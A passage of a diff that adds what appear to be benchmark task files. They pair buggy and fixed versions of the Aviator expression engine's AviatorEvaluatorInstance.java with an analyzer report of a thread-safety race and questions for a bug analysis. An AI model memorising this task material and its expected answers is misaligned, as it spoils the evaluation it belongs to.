+  public AviatorFunction removeOpFunction(final OperatorType opType) {
+    return this.opsMap.remove(opType);
+  }
+
+
+  /**
+   * Check if the function is existed in aviator
+   *
+   * @param name
+   * @return
+   */
+  public boolean containsFunction(final String name) {
+    return this.funcMap.containsKey(name);
+  }
+
+  /**
+   * Remove a aviator function
+   *
+   * @param function
+   * @return
+   */
+  public AviatorFunction removeFunction(final AviatorFunction function) {
+    return removeFunction(function.getName());
+  }
+
+
+  /**
+   * Returns a compiled expression in cache
+   *
+   * @param expression
+   * @return
+   */
+  public Expression getCachedExpression(final String expression) {
+    return getCachedExpressionByKey(expression);
+  }
+
+  /**
+   * Returns a compiled expression in cache by cacheKey.
+   *
+   * @param cacheKey
+   * @return
+   */
+  public Expression getCachedExpressionByKey(final String cacheKey) {
+    FutureTask<Expression> task = null;
+    if (this.expressionLRUCache != null) {
+      synchronized (this.expressionLRUCache) {
+        task = this.expressionLRUCache.get(cacheKey);
+      }
+    } else {
+      task = this.expressionCache.get(cacheKey);
+    }
+    if (task != null) {
+      return getCompiledExpression(cacheKey, task);
+    } else {
+      return null;
+    }
+  }
+
+  /**
+   * Returns true when the expression is in cache.
+   *
+   * @param expression
+   * @return
+   * @since 4.0.0
+   */
+  public boolean isExpressionCached(final String expression) {
+    return getCachedExpression(expression) != null;
+  }
+
+  /**
+   * Returns the number of cached expressions.
+   *
+   * @since 4.0.0
+   * @return
+   */
+  public int getExpressionCacheSize() {
+    if (this.expressionLRUCache != null) {
+      synchronized (this.expressionLRUCache) {
+        return this.expressionLRUCache.size();
+      }
+    }
+    return this.expressionCache.size();
+  }
+
+
+  /**
+   * Compile a text expression to Expression object
+   *
+   * @param expression text expression
+   * @param cached Whether to cache the compiled result,make true to cache it.
+   * @return
+   */
+  public Expression compile(final String expression, final boolean cached) {
+    return this.compile(expression, expression, cached);
+  }
+
+  /**
+   * Compile a text expression to Expression object
+   *
+   * @param cacheKey unique key for caching.
+   * @param expression text expression
+   * @param cached Whether to cache the compiled result,make true to cache it.
+   * @return
+   */
+  public Expression compile(final String cacheKey, final String expression, final boolean cached) {
+    if (expression == null || expression.trim().length() == 0) {
+      throw new CompileExpressionErrorException("Blank expression");
+    }
+    if (cacheKey == null || cacheKey.trim().length() == 0) {
+      throw new CompileExpressionErrorException("Blank cacheKey");
+    }
+
+    if (cached) {
+      FutureTask<Expression> existedTask = null;
+      if (this.expressionLRUCache != null) {
+        boolean runTask = false;
+        synchronized (this.expressionLRUCache) {
+          existedTask = this.expressionLRUCache.get(cacheKey);
+          if (existedTask == null) {
+            existedTask = newCompileTask(expression, cached);
+            runTask = true;
+            this.expressionLRUCache.put(cacheKey, existedTask);
+          }
+        }
+        if (runTask) {
+          existedTask.run();
+        }
+      } else {
+        FutureTask<Expression> task = this.expressionCache.get(cacheKey);
+        if (task != null) {
+          return getCompiledExpression(expression, task);
+        }
+        task = newCompileTask(expression, cached);
+        existedTask = this.expressionCache.putIfAbsent(cacheKey, task);
+        if (existedTask == null) {
+          existedTask = task;
+          existedTask.run();
+        }
+      }
+      return getCompiledExpression(cacheKey, existedTask);
+
+    } else {
+      return innerCompile(expression, cached);
+    }
+
+  }
+
+  private FutureTask<Expression> newCompileTask(final String expression, final boolean cached) {
+    return new FutureTask<>(new Callable<Expression>() {
+      @Override
+      public Expression call() throws Exception {
+        return innerCompile(expression, cached);
+      }
+
+    });
+  }
+
+
+  private Expression getCompiledExpression(final String cacheKey,
+      final FutureTask<Expression> task) {
+    try {
+      return task.get();
+    } catch (Throwable t) {
+      invalidateCacheByKey(cacheKey);
+      final Throwable cause = t.getCause();
+      if (cause instanceof ExpressionSyntaxErrorException
+          || cause instanceof CompileExpressionErrorException) {
+        Reflector.sneakyThrow(cause);
+      }
+      throw new CompileExpressionErrorException("Compile expression failure, cacheKey=" + cacheKey,
+          t);
+    }
+  }
+
+
+  private Expression innerCompile(final String expression, final boolean cached) {
+    ExpressionLexer lexer = new ExpressionLexer(this, expression);
+    CodeGenerator codeGenerator = newCodeGenerator(cached);
+    ExpressionParser parser = new ExpressionParser(this, lexer, codeGenerator);
+    Expression exp = parser.parse();
+    if (getOptionValue(Options.TRACE_EVAL).bool) {
+      ((BaseExpression) exp).setExpression(expression);
+    }
+    return exp;
+  }
+
+  private int getOptimizeLevel() {
+    return getOptionValue(Options.OPTIMIZE_LEVEL).number;
+  }
+
+
+  public CodeGenerator newCodeGenerator(final boolean cached) {
+    AviatorClassLoader classLoader = getAviatorClassLoader(cached);
+    return newCodeGenerator(classLoader);
+
+  }
+
+  public CodeGenerator newCodeGenerator(final AviatorClassLoader classLoader) {
+    switch (getOptimizeLevel()) {
+      case AviatorEvaluator.COMPILE:
+        ASMCodeGenerator asmCodeGenerator = new ASMCodeGenerator(this, classLoader,
+            this.traceOutputStream, getOptionValue(Options.TRACE).bool);
+        asmCodeGenerator.start();
+        return asmCodeGenerator;
+      case AviatorEvaluator.EVAL:
+        return new OptimizeCodeGenerator(this, classLoader, this.traceOutputStream,
+            getOptionValue(Options.TRACE).bool);
+      default:
+        throw new IllegalArgumentException("Unknow option " + getOptimizeLevel());
+    }
+  }
+
+
+  /**
+   * Compile a text expression to Expression Object without caching
+   *
+   * @param expression
+   * @return
+   */
+  public Expression compile(final String expression) {
+    return compile(expression, false);
+  }
+
+
+  /**
+   * Execute a text expression with values that are variables order in the expression.It only runs
+   * in EVAL mode,and it will cache the compiled expression.It's deprecated, please use
+   * {@link #execute(String, Map)} instead.
+   *
+   * @param expression
+   * @param values
+   * @return
+   */
+  @Deprecated
+  public Object exec(final String expression, final Object... values) {
+    if (getOptimizeLevel() != AviatorEvaluator.EVAL) {
+      throw new IllegalStateException("Aviator evaluator is not in EVAL mode.");
+    }
+    Expression compiledExpression = compile(expression, true);
+    if (compiledExpression != null) {
+      List<String> vars = compiledExpression.getVariableNames();
+      if (!vars.isEmpty()) {
+        int valLen = values == null ? 0 : values.length;
+        if (valLen != vars.size()) {
+          throw new IllegalArgumentException("Expect " + vars.size() + " values,but has " + valLen);
+        }
+        Map<String, Object> env = new HashMap<String, Object>();
+        int i = 0;
+        for (String var : vars) {
+          env.put(var, values[i++]);
+        }
+        return compiledExpression.execute(env);
+      } else {
+        return compiledExpression.execute();
+      }
+    } else {
+      throw new ExpressionNotFoundException("Null compiled expression for " + expression);
+    }
+  }
+
+
+  /**
+   * Execute a text expression with environment
+   *
+   * @param expression text expression
+   * @param env Binding variable environment
+   * @param cached Whether to cache the compiled result,make true to cache it.
+   */
+  public Object execute(final String expression, final Map<String, Object> env,
+      final boolean cached) {
+    Expression compiledExpression = compile(expression, cached);
+    if (compiledExpression != null) {
+      return compiledExpression.execute(env);
+    } else {
+      throw new ExpressionNotFoundException("Null compiled expression for " + expression);
+    }
+  }
+
+
+  /**
+   * Execute a text expression without caching
+   *
+   * @param expression
+   * @param env
+   * @return
+   */
+  public Object execute(final String expression, final Map<String, Object> env) {
+    return execute(expression, env, false);
+  }
+
+
+  /**
+   * Invalidate expression cache
+   *
+   * @param expression
+   */
+  public void invalidateCache(final String expression) {
+    invalidateCacheByKey(expression);
+  }
+
+  /**
+   * Invalidate expression cache by cacheKey
+   *
+   * @param cacheKey
+   */
+  public void invalidateCacheByKey(final String cacheKey) {
+    if (this.expressionLRUCache != null) {
+      synchronized (this.expressionLRUCache) {
+        this.expressionLRUCache.remove(cacheKey);
+      }
+    } else {
+      this.expressionCache.remove(cacheKey);
+    }
+  }
+
+
+  /**
+   * Execute a text expression without caching and env map.
+   *
+   * @param expression
+   * @return
+   */
+  public Object execute(final String expression) {
+    return execute(expression, (Map<String, Object>) null);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.googlecode.aviator.AviatorEvaluatorInstance.newCodeGenerator` indirectly reads without synchronization from `n$12.com.googlecode.aviator.asm.ByteVector.data`. Potentially races with write in method `AviatorEvaluatorInstance.requireScript(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+CodeGenerator AviatorEvaluatorInstance.newCodeGenerator(AviatorClassLoader)
+
+### Procedure Id:
+com.googlecode.aviator.AviatorEvaluatorInstance.newCodeGenerator(com.googlecode.aviator.parser.Aviat.466162e4dda6d94cbcaa27c218a5c092
+
+### File:
+src/main/java/com/googlecode/aviator/AviatorEvaluatorInstance.java
+
+### Key:
+AviatorEvaluatorInstance.java|newCodeGenerator|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+702c191141e6bfb4fc887df0f8f3ab2c
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6983/instruction.md b/inferredbugs-6983/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0fbb1fb41d4ac4a619d1d88fb49acaa67a82155e
--- /dev/null
+++ b/inferredbugs-6983/instruction.md
@@ -0,0 +1,826 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** aviator
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+
+/**
+ * Copyright (C) 2010 dennis zhuang (killme2008@gmail.com)
+ *
+ * This library is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU Lesser General Public License as published by the Free Software Foundation; either version
+ * 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License along with this program;
+ * if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ **/
+package com.googlecode.aviator;
+
+
+import java.io.OutputStream;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.IdentityHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.FutureTask;
+import com.googlecode.aviator.asm.Opcodes;
+import com.googlecode.aviator.code.CodeGenerator;
+import com.googlecode.aviator.code.OptimizeCodeGenerator;
+import com.googlecode.aviator.code.asm.ASMCodeGenerator;
+import com.googlecode.aviator.exception.CompileExpressionErrorException;
+import com.googlecode.aviator.exception.ExpressionRuntimeException;
+import com.googlecode.aviator.lexer.ExpressionLexer;
+import com.googlecode.aviator.lexer.token.OperatorType;
+import com.googlecode.aviator.parser.AviatorClassLoader;
+import com.googlecode.aviator.parser.ExpressionParser;
+import com.googlecode.aviator.runtime.function.math.MathAbsFunction;
+import com.googlecode.aviator.runtime.function.math.MathCosFunction;
+import com.googlecode.aviator.runtime.function.math.MathLog10Function;
+import com.googlecode.aviator.runtime.function.math.MathLogFunction;
+import com.googlecode.aviator.runtime.function.math.MathPowFunction;
+import com.googlecode.aviator.runtime.function.math.MathRoundFunction;
+import com.googlecode.aviator.runtime.function.math.MathSinFunction;
+import com.googlecode.aviator.runtime.function.math.MathSqrtFunction;
+import com.googlecode.aviator.runtime.function.math.MathTanFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqCompsitePredFunFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqCompsitePredFunFunction.LogicOp;
+import com.googlecode.aviator.runtime.function.seq.SeqCountFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqEveryFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqFilterFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqIncludeFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqMakePredicateFunFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqMapFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqNotAnyFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqReduceFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqSomeFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqSortFunction;
+import com.googlecode.aviator.runtime.function.string.StringContainsFunction;
+import com.googlecode.aviator.runtime.function.string.StringEndsWithFunction;
+import com.googlecode.aviator.runtime.function.string.StringIndexOfFunction;
+import com.googlecode.aviator.runtime.function.string.StringJoinFunction;
+import com.googlecode.aviator.runtime.function.string.StringLengthFunction;
+import com.googlecode.aviator.runtime.function.string.StringReplaceAllFunction;
+import com.googlecode.aviator.runtime.function.string.StringReplaceFirstFunction;
+import com.googlecode.aviator.runtime.function.string.StringSplitFunction;
+import com.googlecode.aviator.runtime.function.string.StringStartsWithFunction;
+import com.googlecode.aviator.runtime.function.string.StringSubStringFunction;
+import com.googlecode.aviator.runtime.function.system.BinaryFunction;
+import com.googlecode.aviator.runtime.function.system.BooleanFunction;
+import com.googlecode.aviator.runtime.function.system.Date2StringFunction;
+import com.googlecode.aviator.runtime.function.system.DoubleFunction;
+import com.googlecode.aviator.runtime.function.system.LongFunction;
+import com.googlecode.aviator.runtime.function.system.NowFunction;
+import com.googlecode.aviator.runtime.function.system.PrintFunction;
+import com.googlecode.aviator.runtime.function.system.PrintlnFunction;
+import com.googlecode.aviator.runtime.function.system.RandomFunction;
+import com.googlecode.aviator.runtime.function.system.StrFunction;
+import com.googlecode.aviator.runtime.function.system.String2DateFunction;
+import com.googlecode.aviator.runtime.function.system.SysDateFunction;
+import com.googlecode.aviator.runtime.function.system.TupleFunction;
+import com.googlecode.aviator.runtime.type.AviatorBoolean;
+import com.googlecode.aviator.runtime.type.AviatorFunction;
+import com.googlecode.aviator.runtime.type.AviatorNil;
+
+
+/**
+ * A aviator evaluator instance
+ *
+ * @since 4.0.0
+ * @author dennis
+ *
+ */
+public final class AviatorEvaluatorInstance {
+
+  private AviatorClassLoader aviatorClassLoader;
+
+  private OutputStream traceOutputStream = System.out;
+
+  /**
+   * Generated java class version,default 1.6
+   */
+  public int bytecodeVersion = Opcodes.V1_6;
+
+  private volatile Map<Options, Object> options = new IdentityHashMap<Options, Object>();
+  /** function loader list */
+  private List<FunctionLoader> functionLoaders;
+
+
+  /**
+   * Adds a function loader
+   *
+   * @see FunctionLoader
+   * @since 4.0.0
+   * @param loader
+   */
+  public void addFunctionLoader(FunctionLoader loader) {
+    if (this.functionLoaders == null) {
+      functionLoaders = new ArrayList<FunctionLoader>();
+    }
+    functionLoaders.add(loader);
+  }
+
+  /**
+   * Remove a function loader
+   *
+   * @since 4.0.0
+   * @param loader
+   */
+  public void removeFunctionLoader(FunctionLoader loader) {
+    if (this.functionLoaders == null) {
+      return;
+    }
+    this.functionLoaders.remove(loader);
+  }
+
+  /**
+   * Adds a evaluator option
+   *
+   * @since 2.3.4
+   * @see Options
+   * @param opt
+   * @param val
+   */
+  public void setOption(Options opt, Object val) {
+    if (opt == null || val == null) {
+      throw new IllegalArgumentException("Option and value should not be null.");
+    }
+    if (!opt.isValidValue(val)) {
+      throw new IllegalArgumentException("Invalid value for option:" + opt.name());
+    }
+    Map<Options, Object> newOpts = new IdentityHashMap<>(this.options);
+    newOpts.put(opt, val);
+    this.options = newOpts;
+  }
+
+
+  /**
+   * Returns the current evaluator option value, returns null if missing.
+   *
+   * @param opt
+   * @return
+   */
+  @SuppressWarnings("unchecked")
+  public <T> T getOption(Options opt) {
+    Object val = options.get(opt);
+    if (val == null) {
+      val = opt.getDefaultValue();
+    }
+    return (T) val;
+  }
+
+
+  /**
+   * Returns the generated java classes byte code version, 1.6 by defualt.
+   *
+   * @return
+   */
+  public int getBytecodeVersion() {
+    return bytecodeVersion;
+  }
+
+
+  /**
+   * Set the generated java classes java byte code version.
+   *
+   * @see Opcodes#V1_6
+   * @param bytecodeVersion
+   */
+  public void setBytecodeVersion(int bytecodeVersion) {
+    this.bytecodeVersion = bytecodeVersion;
+  }
+
+
+  /**
+   * Get the evaluator instance options
+   *
+   * @return
+   */
+  public Map<Options, Object> getOptions() {
+    return options;
+  }
+
+
+  /**
+   * Returns the functions map
+   *
+   * @return
+   */
+  public Map<String, Object> getFuncMap() {
+    return funcMap;
+  }
+
+
+  /**
+   * Returns the operators map.
+   *
+   * @return
+   */
+  public Map<OperatorType, AviatorFunction> getOpsMap() {
+    return opsMap;
+  }
+
+
+  /**
+   * Get current trace output stream,default is System.out
+   *
+   * @return
+   */
+  public OutputStream getTraceOutputStream() {
+    return traceOutputStream;
+  }
+
+
+  /**
+   * Set trace output stream
+   *
+   * @param traceOutputStream
+   */
+  public void setTraceOutputStream(OutputStream traceOutputStream) {
+    this.traceOutputStream = traceOutputStream;
+  }
+
+  {
+    aviatorClassLoader = AccessController.doPrivileged(new PrivilegedAction<AviatorClassLoader>() {
+
+      @Override
+      public AviatorClassLoader run() {
+        return new AviatorClassLoader(AviatorEvaluatorInstance.class.getClassLoader());
+      }
+
+    });
+  }
+
+  private final Map<String, Object> funcMap = new HashMap<String, Object>();
+
+  private final Map<OperatorType, AviatorFunction> opsMap =
+      new IdentityHashMap<OperatorType, AviatorFunction>();
+
+
+  private void loadLib() {
+    // Load internal functions
+    // load sys lib
+    addFunction(new SysDateFunction());
+    addFunction(new PrintlnFunction());
+    addFunction(new PrintFunction());
+    addFunction(new RandomFunction());
+    addFunction(new NowFunction());
+    addFunction(new LongFunction());
+    addFunction(new BooleanFunction());
+    addFunction(new DoubleFunction());
+    addFunction(new StrFunction());
+    addFunction(new Date2StringFunction());
+    addFunction(new String2DateFunction());
+    addFunction(new BinaryFunction(OperatorType.ADD));
+    addFunction(new BinaryFunction(OperatorType.SUB));
+    addFunction(new BinaryFunction(OperatorType.MULT));
+    addFunction(new BinaryFunction(OperatorType.DIV));
+    addFunction(new BinaryFunction(OperatorType.MOD));
+    addFunction(new BinaryFunction(OperatorType.NEG));
+    addFunction(new BinaryFunction(OperatorType.NOT));
+    addFunction(new BinaryFunction(OperatorType.BIT_AND));
+    addFunction(new BinaryFunction(OperatorType.BIT_OR));
+    addFunction(new BinaryFunction(OperatorType.BIT_XOR));
+    addFunction(new BinaryFunction(OperatorType.BIT_NOT));
+    addFunction(new TupleFunction());
+
+    // load string lib
+    addFunction(new StringContainsFunction());
+    addFunction(new StringIndexOfFunction());
+    addFunction(new StringStartsWithFunction());
+    addFunction(new StringEndsWithFunction());
+    addFunction(new StringSubStringFunction());
+    addFunction(new StringLengthFunction());
+    addFunction(new StringSplitFunction());
+    addFunction(new StringJoinFunction());
+    addFunction(new StringReplaceFirstFunction());
+    addFunction(new StringReplaceAllFunction());
+
+    // load math lib
+    addFunction(new MathAbsFunction());
+    addFunction(new MathRoundFunction());
+    addFunction(new MathPowFunction());
+    addFunction(new MathSqrtFunction());
+    addFunction(new MathLog10Function());
+    addFunction(new MathLogFunction());
+    addFunction(new MathSinFunction());
+    addFunction(new MathCosFunction());
+    addFunction(new MathTanFunction());
+
+    // seq lib
+    addFunction(new SeqMapFunction());
+    addFunction(new SeqReduceFunction());
+    addFunction(new SeqFilterFunction());
+    addFunction(new SeqSortFunction());
+    addFunction(new SeqIncludeFunction());
+    addFunction(new SeqCountFunction());
+    addFunction(new SeqEveryFunction());
+    addFunction(new SeqNotAnyFunction());
+    addFunction(new SeqSomeFunction());
+    addFunction(new SeqMakePredicateFunFunction("seq.eq", OperatorType.EQ));
+    addFunction(new SeqMakePredicateFunFunction("seq.neq", OperatorType.NEQ));
+    addFunction(new SeqMakePredicateFunFunction("seq.lt", OperatorType.LT));
+    addFunction(new SeqMakePredicateFunFunction("seq.le", OperatorType.LE));
+    addFunction(new SeqMakePredicateFunFunction("seq.gt", OperatorType.GT));
+    addFunction(new SeqMakePredicateFunFunction("seq.ge", OperatorType.GE));
+    addFunction(new SeqCompsitePredFunFunction("seq.and", LogicOp.AND));
+    addFunction(new SeqCompsitePredFunFunction("seq.or", LogicOp.OR));
+    addFunction(new SeqMakePredicateFunFunction("seq.true", OperatorType.EQ, AviatorBoolean.TRUE));
+    addFunction(
+        new SeqMakePredicateFunFunction("seq.false", OperatorType.EQ, AviatorBoolean.FALSE));
+    addFunction(new SeqMakePredicateFunFunction("seq.nil", OperatorType.EQ, AviatorNil.NIL));
+    addFunction(new SeqMakePredicateFunFunction("seq.exists", OperatorType.NEQ, AviatorNil.NIL));
+  }
+
+  /**
+   * Compiled Expression cache
+   */
+  private final ConcurrentHashMap<String/* text expression */, FutureTask<Expression>/*
+                                                                                     * Compiled
+                                                                                     * expression
+                                                                                     * task
+                                                                                     */> cacheExpressions =
+      new ConcurrentHashMap<String, FutureTask<Expression>>();
+
+
+
+  /**
+   * Create a aviator evaluator instance.
+   */
+  AviatorEvaluatorInstance() {
+    this.loadLib();
+    this.addFunctionLoader(ClassPathConfigFunctionLoader.getInstance());
+  }
+
+  /**
+   * Clear all cached compiled expression
+   */
+  public void clearExpressionCache() {
+    cacheExpressions.clear();
+  }
+
+
+  /**
+   * Returns classloader
+   *
+   * @return
+   */
+  public AviatorClassLoader getAviatorClassLoader() {
+    return getAviatorClassLoader(false);
+  }
+
+
+  /**
+   * Returns classloader
+   *
+   * @return
+   */
+  public AviatorClassLoader getAviatorClassLoader(boolean cached) {
+    if (cached) {
+      return aviatorClassLoader;
+    } else {
+      return new AviatorClassLoader(Thread.currentThread().getContextClassLoader());
+    }
+  }
+
+
+  /**
+   * Add an aviator function,it's not thread-safe.
+   *
+   * @param function
+   */
+  public void addFunction(AviatorFunction function) {
+    final String name = function.getName();
+    addFunction(name, function);
+  }
+
+  /**
+   * Adds a function with the name
+   *
+   * @param name
+   * @param function
+   */
+  public void addFunction(final String name, AviatorFunction function) {
+    if ("lambda".equals(name)) {
+      throw new IllegalArgumentException("Invalid function name, lambda is a keyword.");
+    }
+    if (funcMap.containsKey(name)) {
+      System.out.println("[Aviator WARN] The function '" + name
+          + "' is already exists, but is replaced with new one.");
+    }
+    funcMap.put(name, function);
+  }
+
+  /**
+   * Define a function by name and expression.
+   *
+   * @param name the function name
+   * @param expression the expression to be executed and it's result must be a function.
+   * @since 4.0.0
+   */
+  public void defineFunction(String name, String expression) {
+    this.defineFunction(name, expression, null);
+  }
+
+  /**
+   * Define a function by name and expression with the execution env.
+   *
+   * @param name the function name
+   * @param expression the expression to be executed and it's result must be a function.
+   * @param env the expression execution env
+   * @since 4.0.0
+   */
+  public void defineFunction(String name, String expression, Map<String, Object> env) {
+    AviatorFunction function = (AviatorFunction) this.execute(expression, env);
+    this.addFunction(name, function);
+  }
+
+
+  /**
+   * Remove an aviator function by name,it's not thread-safe.
+   *
+   * @param name
+   * @return
+   */
+  public AviatorFunction removeFunction(String name) {
+    return (AviatorFunction) funcMap.remove(name);
+  }
+
+
+  /**
+   * Retrieve an aviator function by name,throw exception if not found or null.It's not thread-safe.
+   *
+   * @param name
+   * @return
+   */
+  public AviatorFunction getFunction(final String name) {
+    AviatorFunction function = (AviatorFunction) funcMap.get(name);
+    if (function == null && functionLoaders != null) {
+      for (FunctionLoader loader : functionLoaders) {
+        if (loader != null) {
+          function = loader.onFunctionNotFound(name);
+        }
+        if (function != null) {
+          break;
+        }
+      }
+    }
+    if (function == null) {
+      // Returns a delegate function that will try to find the function from runtime env.
+      function = new RuntimeFunctionDelegator(name);
+    }
+    return function;
+  }
+
+  /**
+   * Add an operator aviator function,it's not thread-safe.
+   *
+   * @param function
+   */
+  public void addOpFunction(OperatorType opType, AviatorFunction function) {
+    opsMap.put(opType, function);
+  }
+
+
+  /**
+   * Retrieve an operator aviator function by op type, return null if not found.It's not
+   * thread-safe.
+   *
+   * @since 3.3
+   * @param opType
+   * @return
+   */
+  public AviatorFunction getOpFunction(OperatorType opType) {
+    return opsMap.get(opType);
+  }
+
+  /**
+   * Remove an operator aviator function by op type, it's not thread-safe.
+   *
+   * @since 3.3
+   * @param opType
+   * @return
+   */
+  public AviatorFunction removeOpFunction(OperatorType opType) {
+    return opsMap.remove(opType);
+  }
+
+
+  /**
+   * Check if the function is existed in aviator
+   *
+   * @param name
+   * @return
+   */
+  public boolean containsFunction(String name) {
+    return funcMap.containsKey(name);
+  }
+
+  /**
+   * Remove a aviator function
+   *
+   * @param function
+   * @return
+   */
+  public AviatorFunction removeFunction(AviatorFunction function) {
+    return removeFunction(function.getName());
+  }
+
+
+  /**
+   * Returns a compiled expression in cache
+   *
+   * @param expression
+   * @return
+   */
+  public Expression getCachedExpression(String expression) {
+    FutureTask<Expression> task = cacheExpressions.get(expression);
+    if (task != null) {
+      return getCompiledExpression(expression, task);
+    } else {
+      return null;
+    }
+  }
+
+  /**
+   * Returns true when the expression is in cache.
+   *
+   * @param expression
+   * @return
+   * @since 4.0.0
+   */
+  public boolean isExpressionCached(String expression) {
+    return this.getCachedExpression(expression) != null;
+  }
+
+  /**
+   * Returns the number of cached expressions.
+   *
+   * @since 4.0.0
+   * @return
+   */
+  public int getExpressionCacheSize() {
+    return this.cacheExpressions.size();
+  }
+
+
+
+  /**
+   * Compile a text expression to Expression object
+   *
+   * @param expression text expression
+   * @param cached Whether to cache the compiled result,make true to cache it.
+   * @return
+   */
+  public Expression compile(final String expression, final boolean cached) {
+    if (expression == null || expression.trim().length() == 0) {
+      throw new CompileExpressionErrorException("Blank expression");
+    }
+
+    if (cached) {
+      FutureTask<Expression> task = cacheExpressions.get(expression);
+      if (task != null) {
+        return getCompiledExpression(expression, task);
+      }
+      task = new FutureTask<Expression>(new Callable<Expression>() {
+        @Override
+        public Expression call() throws Exception {
+          return innerCompile(expression, cached);
+        }
+
+      });
+      FutureTask<Expression> existedTask = cacheExpressions.putIfAbsent(expression, task);
+      if (existedTask == null) {
+        existedTask = task;
+        existedTask.run();
+      }
+      return getCompiledExpression(expression, existedTask);
+
+    } else {
+      return innerCompile(expression, cached);
+    }
+
+  }
+
+
+  private Expression getCompiledExpression(final String expression, FutureTask<Expression> task) {
+    try {
+      return task.get();
+    } catch (Exception e) {
+      cacheExpressions.remove(expression);
+      throw new CompileExpressionErrorException("Compile expression failure:" + expression, e);
+    }
+  }
+
+
+  private Expression innerCompile(final String expression, boolean cached) {
+    ExpressionLexer lexer = new ExpressionLexer(this, expression);
+    CodeGenerator codeGenerator = newCodeGenerator(cached);
+    ExpressionParser parser = new ExpressionParser(this, lexer, codeGenerator);
+    Expression exp = parser.parse();
+    if ((boolean) getOption(Options.TRACE_EVAL)) {
+      ((BaseExpression) exp).setExpression(expression);
+    }
+    return exp;
+  }
+
+  private int getOptimizeLevel() {
+    return getOption(Options.OPTIMIZE_LEVEL);
+  }
+
+
+  public CodeGenerator newCodeGenerator(boolean cached) {
+    AviatorClassLoader classLoader = getAviatorClassLoader(cached);
+    return newCodeGenerator(classLoader);
+
+  }
+
+  public CodeGenerator newCodeGenerator(AviatorClassLoader classLoader) {
+    switch (getOptimizeLevel()) {
+      case AviatorEvaluator.COMPILE:
+        ASMCodeGenerator asmCodeGenerator = new ASMCodeGenerator(this, classLoader,
+            traceOutputStream, (Boolean) getOption(Options.TRACE));
+        asmCodeGenerator.start();
+        return asmCodeGenerator;
+      case AviatorEvaluator.EVAL:
+        return new OptimizeCodeGenerator(this, classLoader, traceOutputStream,
+            (Boolean) getOption(Options.TRACE));
+      default:
+        throw new IllegalArgumentException("Unknow option " + getOptimizeLevel());
+    }
+  }
+
+
+  /**
+   * Compile a text expression to Expression Object without caching
+   *
+   * @param expression
+   * @return
+   */
+  public Expression compile(String expression) {
+    return compile(expression, false);
+  }
+
+
+  /**
+   * Execute a text expression with values that are variables order in the expression.It only runs
+   * in EVAL mode,and it will cache the compiled expression.
+   *
+   * @param expression
+   * @param values
+   * @return
+   */
+  public Object exec(String expression, Object... values) {
+    if (getOptimizeLevel() != AviatorEvaluator.EVAL) {
+      throw new IllegalStateException("Aviator evaluator is not in EVAL mode.");
+    }
+    Expression compiledExpression = compile(expression, true);
+    if (compiledExpression != null) {
+      List<String> vars = compiledExpression.getVariableNames();
+      if (!vars.isEmpty()) {
+        int valLen = values == null ? 0 : values.length;
+        if (valLen != vars.size()) {
+          throw new IllegalArgumentException("Expect " + vars.size() + " values,but has " + valLen);
+        }
+        Map<String, Object> env = new HashMap<String, Object>();
+        int i = 0;
+        for (String var : vars) {
+          env.put(var, values[i++]);
+        }
+        return compiledExpression.execute(env);
+      } else {
+        return compiledExpression.execute();
+      }
+    } else {
+      throw new ExpressionRuntimeException("Null compiled expression for " + expression);
+    }
+  }
+
+
+  /**
+   * Execute a text expression with environment
+   *
+   * @param expression text expression
+   * @param env Binding variable environment
+   * @param cached Whether to cache the compiled result,make true to cache it.
+   */
+  public Object execute(String expression, Map<String, Object> env, boolean cached) {
+    Expression compiledExpression = compile(expression, cached);
+    if (compiledExpression != null) {
+      return compiledExpression.execute(env);
+    } else {
+      throw new ExpressionRuntimeException("Null compiled expression for " + expression);
+    }
+  }
+
+
+  /**
+   * Execute a text expression without caching
+   *
+   * @param expression
+   * @param env
+   * @return
+   */
+  public Object execute(String expression, Map<String, Object> env) {
+    return execute(expression, env, false);
+  }
+
+
+  /**
+   * Invalidate expression cache
+   *
+   * @param expression
+   */
+  public void invalidateCache(String expression) {
